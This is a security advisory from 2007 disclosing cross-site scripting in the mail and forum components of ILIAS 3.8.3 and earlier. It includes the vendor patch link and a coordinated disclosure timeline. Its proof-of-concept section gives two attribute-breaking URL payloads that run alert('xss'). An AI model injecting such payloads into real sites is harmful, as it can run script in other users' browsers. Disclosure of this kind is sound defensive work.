ilias-xss.txt

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ILIAS <= 3.8.3 Cross Site Scripting  
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Author: L4teral <l4teral [4t] gmail com>  
Impact: Cross Site Scripting  
Status: patch available  
  
  
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Affected software description:  
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Application: ILIAS  
Version: <= 3.8.3  
Vendor: http://www.ilias.de  
  
Description:  
ILIAS is a powerful web-based learning management system that allows  
you to easily manage learning resources in an integrated system.  
  
  
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Vulnerability:  
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The mailing and forum components are vulnerable to cross site scripting.  
  
  
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PoC/Exploit:  
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create forum post/mail with:  
http://www.ex"style="width:expression(alert('xss'))"ample.com  
  
http://www.ex"onmouseover="javascript:alert('xss');"ample.com  
  
  
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Solution:  
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install security patch:  
http://www.ilias.de/docu/goto.php?target=pg_16836_35&client_id=docu  
  
  
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Timeline:  
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17.10.2007 - vendor informed  
25.10.2007 - vendor responded  
29.10.2007 - vendor released patch  
30.10.2007 - public disclosure  
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